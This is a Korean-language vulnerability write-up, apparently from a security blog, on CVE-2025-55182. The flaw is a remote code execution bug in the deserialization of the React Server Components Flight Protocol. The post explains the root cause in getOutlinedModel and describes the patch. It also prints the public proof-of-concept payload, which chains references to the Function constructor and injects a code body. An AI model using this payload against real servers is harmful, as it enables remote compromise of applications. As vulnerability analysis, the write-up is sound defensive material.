[하루한줄] CVE-2025-55182: React Server Component의 Flight Protocol 입력 검증 미흡으로 인한 RCE 취약점

URL

Target

  • react-server-dom-weback 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0

Explain

background

React Server Component는 클라이언트의 렌더링 성능을 개선하기 위해 도입된 컴포넌트입니다. 이는 서버에서 컴포넌트를 실행한 결과를 Flight Protocol이라는 형식으로 직렬화하여 클라이언트로 전송해 UI를 구성하는 방식입니다. 이로 인해 클라이언트 측 브라우저에서는 완전한 HTML 문서를 기다리는 대신 HTML 스켈레톤과 청크 단위의 RSC Payload를 받아 조립하여 렌더링을 완료합니다.

이 과정에서 서버는 props, placeholder, 클라이언트 모듈 정보 등을 포함한 직렬화 데이터를 클라이언트에 전송하며 클라이언트 역시 서버 액션 호출 시 flight 형식의 데이터를 서버로 전송합니다.

Flight Protocol의 RSC Payload 구조의 예시

{
		"0": ["div", { "children": "Hello" }],
		"1": [
				"ClientComponent",
				{
						"id": "test",
						"props": { "message": "hello" }
				}
		]
}

이 과정에서 서버는 RSC Payload 내부의 서버 액션을 함수 형태로 로딩하고 이를 서버 측에서 실행합니다.

Next.js 13버전부터 이러한 서버 컴포넌트를 사용하는 방식이 기본값으로 설정되어 있습니다.

root cause

Flight Protocol로 전달되는 RSC Payload는 HTTP 요청 바디에 포함되는 직렬화 데이터이기 때문에 클라이언트가 직접 조작할 수 있습니다. 하지만 서버 측 역직렬화 과정에서는 클라이언트가 전송한 데이터에 대해 별도의 속성 검증 없이 객체 접근이 이루어지기 때문에 constructor, __proto__등의 위험한 키 값을 주입할 경우 Prototype Pollution이나 함수 생성자로 해석되기 때문에 임의 코드 실행이 가능해집니다.

클라이언트가 서버에 Flight Protocol 형식을 따르는 데이터를 전송할 경우 서버에서는 다음의 코드가 호출됩니다.

react/packages/react-server/src/ReactFlightReplyServer.js

function getOutlinedModel<T>(
  response: Response,
  reference: string,
  parentObject: Object,
  key: string,
  map: (response: Response, model: any) => T,
): T {
  const path = reference.split(':');
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        value = value[path[i]]; //[1]
      }
...

이때 청크의 상태가 INITIALIZED일 경우, [1]과 같이 RSC Payload에서 가져온path들을 키로 사용하여 객체를 참조합니다. 이 과정에서 적절한 검증이 없었기 때문에 path 값이 __proto__constructor일 경우 object.__proto__와 같이 취약한 속성에 대한 직접적인 접근이 가능해집니다.

RSC를 사용하는 대부분의 시스템에서 취약점이 존재하고 직접적인 RCE까지 가능하기 때문에 CVSS 10.0을 받게 되었습니다. 이는 자바의 로깅 라이브러리인 Log4j에서 발견된 취약점인 Log4Shell과 동일한 점수입니다.

PoC

공개된 PoC 페이로드는 다음과 같습니다.

const payload = {
    '0': '$1',                                                       
    '1': {                                                           
        'status':'resolved_model',
        'reason':0,
        '_response':'$4',
        'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then':'$2:then'
    },
    '2': '$@3',                                                            
    '3': [],
    '4': {
        '_prefix':'console.log(7*7+1)//',
        '_formData':{
            'get':'$3:constructor:constructor'
        },
        '_chunks':'$2:_response:_chunks',
    }
}

각 숫자 키는 Flight Payload 내부에서 청크로 해석되며 $로 시작하는 값들은 다른 청크나 객체를 참조하는 토큰으로 해석됩니다. 각 청크의 해석은 다음과 같습니다.

  1. 0번 청크가 1번 청크를 가리키도록 하여 서버가 1번 청크를 실제 모델로 해석하도록 유도
  2. resolved_model 상태를 통해 청크가 초기화되도록 설정하며 $4 청크를 해당 모델의 응답 객체로 사용하도록 지시. 이후 $2 청크의 then 메소드를 호출하도록 만들어 연결
  3. $3 청크를 Promise처럼 해석하도록 지시
  4. 배열의 생성자는 Array, Array의 생성자는 Function이므로 $3:constructor:constructor와 같은 참조 체인을 만들어 함수 생성자에 도달하도록 지시
  5. 임의 코드 실행에 필요한 함수 본문을 삽입

root cause에서 확인했듯이 path에 해당하는 value에 대한 검증이 미흡하기 때문에 Prototype Pollution이 발생하고 원하는 함수 본문을 삽입하여 실행하는 RCE가 가능합니다.

patch

패치 커밋 7dc903cd29dac55efb4424853fd0442fef3a8700에서 역직렬화된 데이터를 참조에 사용하기 이전에 대상 객체의 직접 속성인지 확인하고 프로토타입 체인을 통해 접근되지 못하도록 차단하는 검증 로직이 추가되었습니다.

Reference



본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.